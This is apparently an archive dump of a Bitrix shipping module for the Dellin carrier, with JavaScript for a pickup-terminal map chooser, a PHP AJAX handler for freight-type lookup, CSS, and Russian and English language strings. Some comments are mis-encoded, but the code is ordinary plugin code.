document.createElement('div'); itemDescription.className = 'bx-soa-pickup-l-item-desc'; let itemStr = BX.message('SOA_PICKUP_ADDRESS')+': '+terminal.address+'<br>'+ BX.message('SOA_PICKUP_WORK') +': '+terminal.schedule+'<br>'; itemDescription.innerHTML = itemStr; let itemButton = document.createElement('div'); itemButton.className = 'bx-soa-pickup-l-item-btn'; let button = document.createElement('div'); button.className = 'btn btn-sm btn-primary'; button.innerText = BX.message('INPUT_FILE_BROWSE'); button.setAttribute('terminalId',terminal.terminal_id); button.setAttribute('onclick', 'BX.Dellin.onItemChooseClick()'); itemButton.append(button); itemDetail.append(itemName); itemDetail.append(itemDescription); item.append(itemAddress); item.append(itemDetail); item.append(itemButton); return item; }, onItemClick: function(){ // event.currentTarget; BX.Dellin.watchAndCloseItemDetails(); console.log("click", event); console.log('target', event.currentTarget); event.currentTarget.className = 'bx-soa-pickup-list-item bx-selected'; }, onItemChooseClick: function() { let chooseTerminalId = event.currentTarget.getAttribute('terminalId'); console.log('Click on Choose', event.currentTarget); console.log('SelectedTerminal', chooseTerminalId); BX.Dellin.changeChoose(chooseTerminalId); BX.Dellin.closePropsBlock(); }, watchAndCloseItemDetails: function() { let watchedBlock = document.querySelector('.bx-soa-pickup-list.main'); if(watchedBlock){ watchedBlock.childNodes.forEach((item)=>{ item.classList.forEach((selector)=>{ if(selector == 'bx-selected') { item.className = 'bx-soa-pickup-list-item'; } }) }) } }, createYmapsObject: function() { if(BX.Dellin.isTerminalMethodSelected()) { if(BX.Dellin.hasMountedMaps) { console.warn('BX.Dellin.hasMountedMaps is true'); return ; } if(BX.Dellin.isEmptyLocationField()) { console.warn('Is Empty Location field'); return ; } BX.Dellin.hasMountedMaps = true; let city = BX.Dellin.getCityParameters(); console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_GOROD")?>', city); let blockMap = document.querySelector('#dellinMap'); if(!blockMap){ console.warn('dellinMap is undefined'); return ; } let dellinMap = new ymaps.Map("dellinMap", { center: [city.latitude, city.longitude], // [������, �������] ��������� �� ������ ������ zoom: 10 // ������� ��� �����, ��������������� � ����������� �� ������� }); BX.Dellin.terminalList.forEach((terminal)=>{ // console.log(terminal); let data = BX.Dellin.getTerminalInfoById(terminal.terminal_id); let MyIconContentLayout = ymaps.templateLayoutFactory.createClass( '<div style="color: #FFFFFF; font-weight: bold;">$[properties.iconContent]</div>' ); // let block = BX.Dellin.createTerminalListItem(data); // console.log('terminal', data); dellinMap.geoObjects.add(new ymaps.Placemark([data.latitude, data.longitude], { terminal_id: data.terminal_id, name: data.name, address: data.address, schedule: data.schedule, contactPhone: data.contactPhone, exceptionShedule: data.exceptionShedule, }, { // iconLayout: 'default#imageWithContent', // iconImageHref: 'bitrix/bitrix/images/dellindev/sprite-markers.png', // iconImageSize: [40, 43], // iconImageOffset: [-10, -31], // iconContentLayout: MyIconContentLayout, iconLayout: 'default#image', // ��� ����������� ������ �����. iconImageHref: '/local/components/dellindev/dellindev.shipment.choose/templates/.default/images/sprite-markers.png', // ������� �����. iconImageSize: [51, 67], // �������� ������ �������� ���� ������ ������������ // � "�����" (����� ��������). iconImageOffset: [-24, -24], // �������� ���� � ���������� ������������ ���� � ���������. // iconContentOffset: [, 67], // ����� �����������. iconContentLayout: MyIconContentLayout, balloonContentLayout: BX.Dellin.baloonTemplate(), balloonPanelMaxMapArea: '0A', }, { balloonContentLayout: BX.Dellin.baloonTemplate(), balloonPanelMaxMapArea: '0A', })) // }, { // preset: 'islands#dotIcon', // ����� �������� ����� // })) }); } }, buildDisplayBlockTerminals: function() { /** * ���� ������ ���������� ����� ����������, ���� �� �����, * ���� ��� ������ � ������������ ���� ������ (����� ������ � ������� �� ������ �����) */ let map = document.createElement('div'); map.id = 'dellinMap'; map.style = 'width: 100%; margin-bottom: 10px; height: 342px;'; let col = document.createElement('div'); col.className = 'col'; let strong = document.createElement('strong'); strong.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_VYBERITE_TERMINAL_NA")?>'; col.append(strong); col.append(map); // BX.Dellin.hasMountedMaps = true; return col; }, checkClassNameInclude: function(node, className) { let result = false; if(!node) { console.warn('Node not found'); return ;// return undefined, for handle } node.classList.forEach((el)=>{ if(el == className){ result = true; } }); return result; }, isPickUpBlockSelected: function() { let pickUpElement = BX.Dellin.getBlockPickup(); let className = 'bx-selected'; return BX.Dellin.checkClassNameInclude(pickUpElement, className); }, isPickUpBlockCompleted: function() { let pickUpElement = BX.Dellin.getBlockPickup(); let className = 'bx-step-completed'; return BX.Dellin.checkClassNameInclude(pickUpElement, className); }, isBlockMounted: function() { let block = document.querySelector('#bx-soa-dellin'); return (block != null); }, injectionCustomBlock: function() { if(BX.Dellin.isEmptyLocationField()) { console.warn('Is empty locationField'); return ; } if(BX.Dellin.isOldViewComponent) { console.log('Use old view on terminals') return ; } if(BX.Dellin.isBlockMounted()) { console.warn('Dellin block is mounted'); return ; } let block = document.createElement('div'); block.className = 'bx-soa-section'; block.id = 'bx-soa-dellin'; let title = document.createElement('div'); title.className = 'bx-soa-section-title-container d-flex justify-content-between align-items-center flex-nowrap'; let titleContent = document.createElement('div'); titleContent.className = 'bx-soa-section-title'; titleContent.setAttribute('data-entity', 'section-title'); let titleSpan = document.createElement('span'); titleSpan.className = 'bx-soa-section-title-count'; titleContent.append(titleSpan); titleContent.append('<?=GetMessageJS("DELLINDEV_SHIPMENT_DELOVYE_LINII")?>'); let titleSpanChange = document.createElement('span'); let titlePChange = document.createElement('p'); titlePChange.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_VYBRATQ_TERMINAL")?>'; titlePChange.className = 'bx-soa-editstep'; if(BX.Dellin.isCloseCustomBlock) { titlePChange.style = 'color: var(--theme-b-link)'; } else { titlePChange.style = 'display:none;'; } titleSpanChange.append(titlePChange); title.append(titleContent); title.append(titleSpanChange); let innerBlock = BX.Sale.OrderAjaxComponent.getNewContainer(); let element = document.querySelector('#bx-soa-delivery'); block.append(title); block.append(innerBlock); //Block is closed let content = block.querySelector('.bx-soa-section-content'); if(!content) { content = BX.Sale.OrderAjaxComponent.getNewContainer(); block.lastChild(content); } titlePChange.addEventListener('click', (event)=>{ console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_NAJALI_NA")?>', event); BX.Dellin.clearDisplayContainer(); // let view = BX.Dellin.buildHiddenBlockTerminals(); // content.innerHTML = view; BX.Dellin.changeCountIcon(); BX.Dellin.changeContentInDellinBlock(); BX.Dellin.createYmapsObject(); BX.Dellin.closePropsBlock('change'); BX.Dellin.hideTimeIntervals(); BX.Dellin.hideTerminalBlock(); }); let view = BX.Dellin.getViewWidget(); // container.innerHTML = view; // title.after(view); // console.log(view); content.innerHTML = view; element.after(block); }, getViewWidget: function() { if(BX.Dellin.hasMountedMaps) { console.warn('Dellin block is mounted'); return ; } if(BX.Dellin.isCloseCustomBlock) { let viewShort = BX.Dellin.buildHiddenBlockTerminals() return viewShort; } if(BX.Dellin.hasShowDellinMap){ let viewWithMap = BX.Dellin.buildDisplayBlockTerminals(); return viewWithMap.outerHTML; } if(!BX.Dellin.isCloseCustomBlock && !BX.Dellin.hasShowDellinMap ) { let viewWithDisabledMap = BX.Dellin.createTerminalBlockInPickUp(); return viewWithDisabledMap.outerHTML; } }, clearDisplayContainer: function() { let elem = document.querySelector('#bx-soa-dellin'); let container = elem.querySelector('.bx-soa-section-content'); // console.log(container); BX.Dellin.hasMountedMaps = false; while (container.firstChild) { container.removeChild(container.firstChild); } }, changeCountIcon: function() { let elem = document.querySelector('#bx-soa-dellin'); if(BX.Dellin.isCloseCustomBlock) { elem.className = 'bx-soa-section'; BX.Dellin.isCloseCustomBlock = !BX.Dellin.isCloseCustomBlock; BX.Dellin.hideTitleLink(elem); } else { elem.className = 'bx-soa-section bx-active bx-step-completed'; BX.Dellin.isCloseCustomBlock = !BX.Dellin.isCloseCustomBlock; BX.Dellin.hideTitleLink(elem); } }, hideTitleLink: function(elem) { let link = elem.querySelector('.bx-soa-editstep'); if(BX.Dellin.isCloseCustomBlock) { link.style = "color: var(--theme-b-link); display: block;"; } else { link.style = "display:none;"; } }, changeContentInDellinBlock: function() { let element = document.querySelector('#bx-soa-dellin'); let content = element.querySelector('.bx-soa-section-content'); let widget = BX.Dellin.getViewWidget(); content.innerHTML = widget; }, removeInjectedBlock: function() { let injectedBlock = document.querySelector('#bx-soa-dellin'); if(injectedBlock) { BX.Dellin.hasMountedMaps = false; console.log('Remove bx-soa-dellin'); injectedBlock.remove(); } }, moreBlock: function() { let moreBlock = document.createElement('div'); moreBlock.className = 'row bx-soa-more'; let buttonCol = document.createElement('div'); buttonCol.className = 'bx-soa-more-btn col'; let buttonPrev = document.createElement('button'); buttonPrev.className = 'btn btn-outline-secondary pl-3 pr-3'; buttonPrev.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_NAZAD")?>'; let buttonNext = document.createElement('button'); buttonNext.className = 'pull-right btn btn-primary pl-3 pr-3'; buttonNext.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_VPERED")?>'; }, isEmptyLocationField: function() { let fields = BX.Sale.OrderAjaxComponent.getAllFormData(); let locationFieldState = fields.RECENT_DELIVERY_VALUE; let result = false if(locationFieldState == '') { result = true; } return result; }, closePropsBlock: function() { let orderBlockNode = BX.Sale.OrderAjaxComponent.orderBlockNode; let selectors = orderBlockNode.querySelectorAll('.bx-soa-section.bx-active'); selectors.forEach((block)=>{ block.classList.forEach((itemClass)=>{ if( block.id == "bx-soa-properties" && itemClass == "bx-selected") { // if(placeDoes == 'choose'){ BX.Sale.OrderAjaxComponent.editFadePropsBlock(); BX.addClass(block, 'bx-step-completed'); BX.removeClass(block, 'bx-selected'); BX.Sale.OrderAjaxComponent.initialized.props = false; // } // if(placeDoes == 'change') // { // BX.Sale.OrderAjaxComponent.fade(block); // } } }); }); }, hideTimeIntervals: function() { let checkout = BX.Sale.OrderAjaxComponent.orderBlockNode; let selectorStart = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeStart+'"]'; let selectorEnd = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeEnd+'"]'; let deliveryTimeStart = checkout.querySelector(selectorStart); let deliveryTimeEnd = checkout.querySelector(selectorEnd); if(deliveryTimeStart) { deliveryTimeStart.style = 'display:none;'; } if(deliveryTimeEnd) { deliveryTimeEnd.style = 'display:none;'; } }, showTimeIntervals: function() { let checkout = BX.Sale.OrderAjaxComponent.orderBlockNode; let selectorStart = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeStart+'"]'; let selectorEnd = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeEnd+'"]'; let deliveryTimeStart = checkout.querySelector(selectorStart); let deliveryTimeEnd = checkout.querySelector(selectorEnd); if(deliveryTimeStart) { deliveryTimeStart.style = ''; } if(deliveryTimeEnd) { deliveryTimeEnd.style = ''; } }, observeOrderBlock: function(){ //new Arch Solution for test let observer = new MutationObserver(mutationRecords => { if(BX.Dellin.isPickUpBlockSelected){ if(!BX.Dellin.isOldViewComponent){ BX.Dellin.hideTerminalBlock(); } if(BX.Dellin.isTerminalMethodSelected()) { BX.Dellin.hideTimeIntervals(); } } }); let checkout = BX.Sale.OrderAjaxComponent.orderBlockNode; let elem = checkout.querySelector('#bx-soa-properties'); observer.observe(elem, { childList: true, subtree: true }); }, setCityCode: function () { BX.Dellin.recent_delivery_value = BX.Sale.OrderAjaxComponent.getAllFormData().RECENT_DELIVERY_VALUE; }, hasChangeCityCode: function(){ return !(BX.Dellin.recent_delivery_value == BX.Sale.OrderAjaxComponent.getAllFormData().RECENT_DELIVERY_VALUE ); }, } BX.ready(function () { BX.message({ "DELLINDEV_TERMINAL_LIST": "<?=Loc::getMessage("DELLINDEV_TERMINAL_LIST")?>", "DELLINDEV_SELECTED_TERMINAL": "<?=Loc::getMessage("DELLINDEV_SELECTED_TERMINAL")?>" }); BX.Dellin.setCityCode(); BX.Dellin.observeOrderBlock(); // mock to BX proxy // it`s fake hidden block let deliveryHidden = document.querySelector('#bx-soa-delivery-hidden'); let dellin = document.createElement('div'); dellin.id = 'bx-soa-dellin-hidden'; deliveryHidden.after(dellin); let delivery = document.querySelector('#bx-soa-delivery'); let footerForButton = delivery.querySelector('.bx-soa-more-btn'); if(footerForButton) { let button = footerForButton.querySelector('.pull-right.btn.btn-primary.pl-3.pr-3'); button.addEventListener('click', function(){ if(BX.Dellin.isTerminalMethodSelected()) { if(BX.Dellin.isCloseCustomBlock) { BX.Dellin.clearDisplayContainer(); BX.Dellin.changeCountIcon(); BX.Dellin.changeContentInDellinBlock(); BX.Dellin.createYmapsObject(); } } }); } console.log('Dellin ready'); if(BX.Dellin.isTerminalMethodSelected()){ let changeLink = document.querySelectorAll('a.bx-soa-editstep'); //todo changeLink.forEach((element)=>{ element.addEventListener('click', (elem)=>{ console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_KLIK_NA_IZMENITQ")?>'); }); }) BX.Dellin.showTerminalBlock(); BX.Dellin.init(); BX.Dellin.styledFieldsSelect(); BX.Dellin.hideTimeIntervals(); if(!BX.Dellin.terminalList) { let terminalBlock = BX.Dellin.getTerminalBlock(); terminalBlock.style = 'display: none'; console.warn('Terminal list is undefined'); return ; } if(BX.Dellin.isPickUpBlockSelected){ if(BX.Dellin.isOldViewComponent) { console.warn('Is old view component.') } else { BX.Dellin.hideTerminalBlock(); BX.Dellin.injectionCustomBlock(); if(BX.Dellin.hasShowDellinMap) { ymaps.ready(()=>{ BX.Dellin.createYmapsObject(); }) } } } } else { BX.Dellin.styledFieldsSelect(); BX.Dellin.hideTerminalBlock(); BX.Dellin.removeInjectedBlock(); BX.Dellin.showTimeIntervals(); } BX.addCustomEvent('onAjaxSuccess', function(result){ if(!result) return; if(!result.dellin) return; console.log(result.dellin); BX.Dellin.removeInjectedBlock(); if(!BX.Dellin.isOldViewComponent) { BX.Dellin.hideTerminalBlock(); } console.log(result); console.log('City is changed?', BX.Dellin.hasChangeCityCode()); // if(BX.Dellin.hasChangeCityCode()){ BX.Dellin.choosedTerminalId = null; BX.Dellin.setCityCode(); } BX.Dellin.changePropsID(result); BX.Dellin.terminalList = result.dellin.terminals; BX.Dellin.terminalsMethod = result.dellin.terminals_method_id; //?????????, ?????? ?? ? ??? ????? ???????? "?? ?????????" if(BX.Dellin.isTerminalMethodSelected()){ BX.Dellin.showTerminalBlock(); BX.Dellin.init(); BX.Dellin.styledFieldsSelect(); BX.Dellin.hideTimeIntervals(); if(!BX.Dellin.terminalList) { console.warn('Terminal list is undefined'); return ; } let changeLink = document.querySelectorAll('a.bx-soa-editstep'); //todo changeLink.forEach((element)=>{ element.addEventListener('click', (elem)=>{ console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_KLIK_NA_IZMENITQ")?>'); }); }) BX.Dellin.showTerminalBlock(); BX.Dellin.init(); BX.Dellin.styledFieldsSelect(); //if result is droped if(!BX.Dellin.terminalList) { BX.Dellin.hideTerminalBlock(); console.warn('Terminal list is undefined'); return ; } //restore block after droped result if(BX.Dellin.terminalList) { let terminalBlock = BX.Dellin.getTerminalBlock(); terminalBlock.style = ''; } if(BX.Dellin.isPickUpBlockSelected){ if(BX.Dellin.isOldViewComponent) { console.warn('Is old view component.') } else { if(BX.Dellin.terminalList.length > 0){ BX.Dellin.hideTerminalBlock(); BX.Dellin.injectionCustomBlock(); if(BX.Dellin.hasShowDellinMap) { ymaps.ready(()=>{ BX.Dellin.createYmapsObject(); }) } } } } BX.Dellin.styledFieldsSelect(); } else { console.log('Dellin init'); BX.Dellin.styledFieldsSelect(); BX.Dellin.hideTerminalBlock(); BX.Dellin.removeInjectedBlock(); BX.Dellin.showTimeIntervals(); } }); }); </script>components/dellindev/dellindev.shipment.cargosettings/.parameters.php000064400000000212151760651320022301 0ustar00<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die(); $arComponentParameters = Array( 'PARAMETERS' => array() ); ?>components/dellindev/dellindev.shipment.cargosettings/lang/ru/class.php000064400000000225151760651320022540 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения"; ?>components/dellindev/dellindev.shipment.cargosettings/lang/en/class.php000064400000000072151760651320022514 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Map locations"; ?>components/dellindev/dellindev.shipment.cargosettings/ajax.php000064400000004237151760651320021016 0ustar00<? /** * ���� backend �����������. * Bitrix Framework * @global CMain $APPLICATION */ define("NO_KEEP_STATISTIC", true); define("NO_AGENT_STATISTIC", true); define("NO_AGENT_CHECK", true); define("NOT_CHECK_PERMISSIONS", true); require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); $result = array("ERROR" => ""); if (!\Bitrix\Main\Loader::includeModule('sale')) $result["ERROR"] = "Error! Can't include module \"Sale\""; if (!\Bitrix\Main\Loader::includeModule('dellindev.shipment')) $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\""; \Bitrix\Sale\Delivery\Services\Manager::getHandlersList(); $saleModulePermissions = $APPLICATION->GetGroupRight("sale"); if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid()) { $action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): ''; if($class == '') { $result["ERROR"] = "Error! Wrong location class!"; } if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')){ $ajaxService = new $class; switch ($action) { case "get_frieght_type": $q = isset($_REQUEST['query'])?$_REQUEST['query']: null; $appkey = isset($_REQUEST['appkey'])?$_REQUEST['appkey']: null; if(mb_strtolower(SITE_CHARSET) != 'utf-8') $q = \Bitrix\Main\Text\Encoding::convertEncoding($q, SITE_CHARSET, 'utf-8'); $result['LIST'] = $ajaxService::getFreightTypes($appkey, $q); break; default: $result["ERROR"] = "Error! Wrong action!"; break; } } else { $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\""; } } else { if($result["ERROR"] == '') $result["ERROR"] = "Error! Access denied"; } if($result["ERROR"] <> '') $result["RESULT"] = "ERROR"; else $result["RESULT"] = "OK"; if(mb_strtolower(SITE_CHARSET) != 'utf-8') $result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8'); header('Content-Type: application/json'); echo json_encode($result); \CMain::FinalActions(); die;components/dellindev/dellindev.shipment.cargosettings/class.php000064400000001222151760651320021167 0ustar00<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); class CSaleDellinCargo extends CBitrixComponent { protected function checkParams($params) { } public function onPrepareComponentParams($params) { return $params; } public function executeComponent() { try { $this->checkParams($this->arParams); } catch(\Exception $e) { ShowError($e->getMessage()); return; } if(!CModule::IncludeModule('sale')) { ShowError("Module sale not installed!"); return; } CJSCore::Init('core', 'ajax'); $this->includeComponentTemplate(); } }components/dellindev/dellindev.shipment.cargosettings/templates/.default/style.css000064400000004740151760651320024733 0ustar00.install-load-block { background-color: #f7fafa; border-radius: 3px; -webkit-box-shadow: 0 1px 0 #ebebeb; box-shadow: 0 1px 0 #ebebeb; } .install-load-block .install-load-title { border-bottom: 1px solid #e6eaeb; color: #000; font-size: 18px; font-weight: bold; margin-bottom: 19px; padding:0 0 15px 3px; } .install-load-block .install-load-label { color: #000; margin-bottom: 15px; } .install-load-block .install-load-error { color: red; margin-bottom: 15px; } .install-load-block .install-progress-bar-outer { height: 32px; border:1px solid; border-color:#9ba6a8 #b1bbbe #bbc5c9 #b1bbbe; -webkit-box-shadow: 1px 1px 0 #fff, inset 0 2px 2px #c0cbce; box-shadow: 1px 1px 0 #fff, inset 0 2px 2px #c0cbce; background-color:#cdd8da; background-image:-webkit-linear-gradient(top, #cdd8da, #c3ced1); background-image:-moz-linear-gradient(top, #cdd8da, #c3ced1); background-image:-ms-linear-gradient(top, #cdd8da, #c3ced1); background-image:-o-linear-gradient(top, #cdd8da, #c3ced1); background-image:linear-gradient(top, #ced9db, #c3ced1); border-radius: 2px; text-align: center; color: #6a808e; text-shadow: 0 1px rgba(255,255,255,0.85); font-size: 18px; line-height: 35px; font-weight: bold; } .install-load-block .install-progress-bar-outer .install-progress-bar-alignment { height: 28px; margin: 0 2px; position: relative; color: #6A808E; font-size: 18px; font-weight: bold; line-height: 35px; text-align: center; text-shadow: 0 1px rgba(255, 255, 255, 0.85); } .install-progress-bar-alignment .install-progress-bar-inner { height: 28px; border-radius: 2px; border-top: solid 1px #52b9df; background-color:#2396ce; background-image:-webkit-linear-gradient(top, #27a8d7, #2396ce, #1c79c0); background-image:-moz-linear-gradient(top, #27a8d7, #2396ce, #1c79c0); background-image:-ms-linear-gradient(top, #27a8d7, #2396ce, #1c79c0); background-image:-o-linear-gradient(top, #27a8d7, #2396ce, #1c79c0); background-image:linear-gradient(top, #27a8d7, #2396ce, #1c79c0); position: absolute; overflow: hidden; top: 2px; left:0 } .install-progress-bar-inner .install-progress-bar-inner-text { color: #fff; text-shadow: 0 1px rgba(0,0,0,0.2); font-size: 18px; line-height: 32px; font-weight: bold; text-align: center; position: absolute; left: -2px; top: -2px; } .install-progress-bar-alignment .install-progress-bar-span { color: #6A808E; font-size: 18px; font-weight: bold; line-height: 35px; text-align: center; text-shadow: 0 1px rgba(255, 255, 255, 0.85); }components/dellindev/dellindev.shipment.cargosettings/templates/.default/style.min.css000064400000004327151760651320025516 0ustar00.install-load-block{background-color:#f7fafa;border-radius:3px;-webkit-box-shadow:0 1px 0 #ebebeb;box-shadow:0 1px 0 #ebebeb}.install-load-block .install-load-title{border-bottom:1px solid #e6eaeb;color:#000;font-size:18px;font-weight:bold;margin-bottom:19px;padding:0 0 15px 3px}.install-load-block .install-load-label{color:#000;margin-bottom:15px}.install-load-block .install-load-error{color:red;margin-bottom:15px}.install-load-block .install-progress-bar-outer{height:32px;border:1px solid;border-color:#9ba6a8 #b1bbbe #bbc5c9 #b1bbbe;-webkit-box-shadow:1px 1px 0 #fff,inset 0 2px 2px #c0cbce;box-shadow:1px 1px 0 #fff,inset 0 2px 2px #c0cbce;background-color:#cdd8da;background-image:-webkit-linear-gradient(top,#cdd8da,#c3ced1);background-image:-moz-linear-gradient(top,#cdd8da,#c3ced1);background-image:-ms-linear-gradient(top,#cdd8da,#c3ced1);background-image:-o-linear-gradient(top,#cdd8da,#c3ced1);background-image:linear-gradient(top,#ced9db,#c3ced1);border-radius:2px;text-align:center;color:#6a808e;text-shadow:0 1px rgba(255,255,255,0.85);font-size:18px;line-height:35px;font-weight:bold}.install-load-block .install-progress-bar-outer .install-progress-bar-alignment{height:28px;margin:0 2px;position:relative;color:#6a808e;font-size:18px;font-weight:bold;line-height:35px;text-align:center;text-shadow:0 1px rgba(255,255,255,0.85)}.install-progress-bar-alignment .install-progress-bar-inner{height:28px;border-radius:2px;border-top:solid 1px #52b9df;background-color:#2396ce;background-image:-webkit-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:-moz-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:-ms-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:-o-linear-gradient(top,#27a8d7,#2396ce,#1c79c0);background-image:linear-gradient(top,#27a8d7,#2396ce,#1c79c0);position:absolute;overflow:hidden;top:2px;left:0}.install-progress-bar-inner .install-progress-bar-inner-text{color:#fff;text-shadow:0 1px rgba(0,0,0,0.2);font-size:18px;line-height:32px;font-weight:bold;text-align:center;position:absolute;left:-2px;top:-2px}.install-progress-bar-alignment .install-progress-bar-span{color:#6a808e;font-size:18px;font-weight:bold;line-height:35px;text-align:center;text-shadow:0 1px rgba(255,255,255,0.85)}components/dellindev/dellindev.shipment.cargosettings/templates/.default/script.js000064400000005234151760651320024722 0ustar00BX.namespace('BX.Sale.Dellin.CargoSettings'); BX.Sale.Dellin.CargoSettings = { ajaxUrl: "", interruptFlag: false, requestFlag: false, serviceLocationClass: "", isError: false, viewMsg: '',// ���� ���-�� �� ������ ���������, ��������� ����� ��������� errorMsg: null, inputDisabled: false, cityKladr: null, isOpen: false, getAppkey: function(){ return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]') }, selectFrieghtType: function () { let input = document.querySelector('#FrieghtTypeUid'); if(input.value.length > 3){ let postData = { sessid: BX.bitrix_sessid(), action: 'get_frieght_type', query: input.value, class: BX.Sale.Dellin.CargoSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.CargoSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fields = BX.Sale.Dellin.CargoSettings.getAutoComplete(result); input.after(fields); }, onfailure: function(status) { console.log("onfailture", status); } }); } }, getAutoComplete: function(result){ //TODO ������� ��� �������. BX.Sale.Dellin.CargoSettings.clearAutoComplete(); let divAutocomplete = document.createElement('div'); divAutocomplete.className = 'autocomplete'; let divRows = document.createElement('div'); divRows.className = 'rows'; result.LIST.forEach(function (el) { let row = BX.Sale.Dellin.CargoSettings.buildRowAutocompolite(el); divRows.appendChild(row); }); console.log(divRows); divAutocomplete.appendChild(divRows); console.log(divAutocomplete); //add block KLADinput return divAutocomplete; }, buildRowAutocompolite: function (el) { let divRow = document.createElement('div'); divRow.className = 'autocomplete-row'; divRow.dataset.id = el.code; divRow.innerHTML = el.city+' ['+el.code+'] '; divRow.addEventListener('click', function () { let fieldFrieghtTypeName = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_NAME]"]'); fieldFrieghtTypeName.value = el.city; let fieldFrieghtTypeUid = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_UID]"]'); fieldFrieghtTypeUid.value = this.dataset.id; BX.Sale.Dellin.CargoSettings.clearAutoComplete(); }); return divRow; }, clearAutoComplete: function(){ let autoComplete = document.querySelector('.autocomplete'); if(autoComplete !== null){ autoComplete.remove(); } }, onblurAutocomplete: function(){ setTimeout(this.clearAutoComplete, 300); }, };components/dellindev/dellindev.shipment.cargosettings/templates/.default/lang/ru/template.php000064400000011301151760651320026743 0ustar00<? $MESS["DELLINDEV_PARAM_DELIVERY_DELAY"] = "Параметры отложенной доставки "; $MESS["DELLINDEV_DELAY_DAY"] = "Отложить доставку на"; $MESS["DELLINDEV_DAYS"] = "(дней)"; $MESS["DELLINDEV_SELECT_SCHEME_DELIVERY"] = "Выберите способ доставки "; $MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки"; $MESS["DELLINDEV_TO_TERMINAL"] = "До терминала"; $MESS["DELLINDEV_TO_ADDRESS"] = "До адреса"; $MESS["DELLINDEV_PARAM_SMALL_CARGO"] = "Доставка малогабаритного груза"; $MESS["DELLINDEV_USE_CALC_HOW_SMALL_CARGO"] = "Использовать специальный тариф 'Малогабаритный груз'"; $MESS["DELLINDEV_CONDITION_USE_SMALL_CARGO"] = "Примечание: в случае, если параметры перевозки не соответствует условям тарифа 'Малогабаритный груз', стоимость перевозки будет расчитана по стандартному тарифу.<br/><a href='https://www.dellin.ru/ltl/parcels/' target='_blank'>Условия тарифа</a>"; $MESS["DELLINDEV_YES_CALC"] = "Да"; $MESS["DELLINDEV_NO_USE_SMALL_CARGO"] = "Нет"; $MESS["DELLINDEV_PARAM_INSURANCE"] = "Страхование груза"; $MESS["DELLINDEV_INSURANCE_DECLARE_PRICE"] = " Передавать объявленную стоимость "; $MESS["DELLINDEV_INSURANCE_DECLARE_PRICE_NOTE"] = "Примечание: объявленная стоимость груза определяется автоматически, на основании переданных данных товарного каталога<br/><a href='https://www.dellin.ru/ltl/insurance/' target='_blank'>Условия страхования груза и срока доставки</a>"; $MESS["DELLINDEV_YES_CALC_INSURANCE"] = "Да"; $MESS["DELLINDEV_NO_CALC_INSURANCE"] = "Нет"; $MESS["DELLINDEV_PARAM_GROUP_CARGO_PLACE"] = "Группировка груза"; $MESS["DELLINDEV_GROUP_PRODUCTS_IN_CARGO_PLACE"] = "Способ группировки"; $MESS["DELLINDEV_CALC_ALL_PRODUCT_AS_ONE_PLACE"] = "Считать весь заказ как 1 грузоместо"; $MESS["DELLINDEV_SEPARATED_CARGO_SPACE"] = "Группировать каждый вид товара, как отдельное грузоместо"; $MESS["DELLINDEV_SINGLE_ITEM_SINGLE_SPACE"] = "Каждая единица товара - отдельное грузоместо "; $MESS["DELLINDEV_REQUIREMENTS_FOR_TRANSPORT_LOADING"] = "Требования к транспорту при погрузке"; $MESS["DELLINDEV_TYPE_UNLOADING"] = "Тип выгрузки"; $MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуется"; $MESS["DELLINDEV_BACK_UNLOADING"] = "Задняя выгрузки "; $MESS["DELLINDEV_UPPER_UNLOADING"] = " Верхняя выгрузки "; $MESS["DELLINDEV_SPEC_REQUIREMENT_FOR_TRANSPORT"] = "Специальные требования к транспорту"; $MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуются"; $MESS["DELLINDEV_OPEN_CAR"] = "Открытая машина"; $MESS["DELLINDEV_REQUIREMENT_UN_CANOPY"] = "Требуется растентовка"; $MESS["DELLINDEV_ADITIONAL_EQUPMENT"] = "Дополнительная комплектация:"; $MESS["DELLINDEV_TAIL_LIFT"] = "Гидроборт"; $MESS["DELLINDEV_MANIPULATOR"] = "Манипулятор"; $MESS["DELLINDEV_DEFAULT_PRODUCT_PARAMS"] = "Параметры товара по умолчанию"; $MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS"] = "Использовать параметры товара по умолчанию?"; $MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS_INFO"] = " Примечание: Если в свойствах товара не указаны параметры длины, ширины, высоты и массы, то будут применены ниже указанные параметры при запросе к API"; $MESS["DELLINDEV_YES_USE_PARAMS"] = "Да"; 